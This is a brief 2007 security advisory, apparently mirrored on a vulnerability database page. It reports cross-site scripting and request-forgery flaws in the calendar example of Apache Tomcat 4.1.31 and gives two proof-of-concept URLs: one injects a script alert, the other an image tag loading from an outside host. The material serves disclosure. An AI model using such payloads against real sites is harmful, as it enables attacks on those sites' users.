Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17934
HistorySep 04, 2007 - 12:00 a.m.

Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability

2007-09-0400:00:00
vulners.com
15

Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.

XSS
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3eale
rt("XSS!")%3c%2fscript%3e

XSRF
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http:
//xsrfxonfirmed.com/testimage.gif">

Tushar Vartak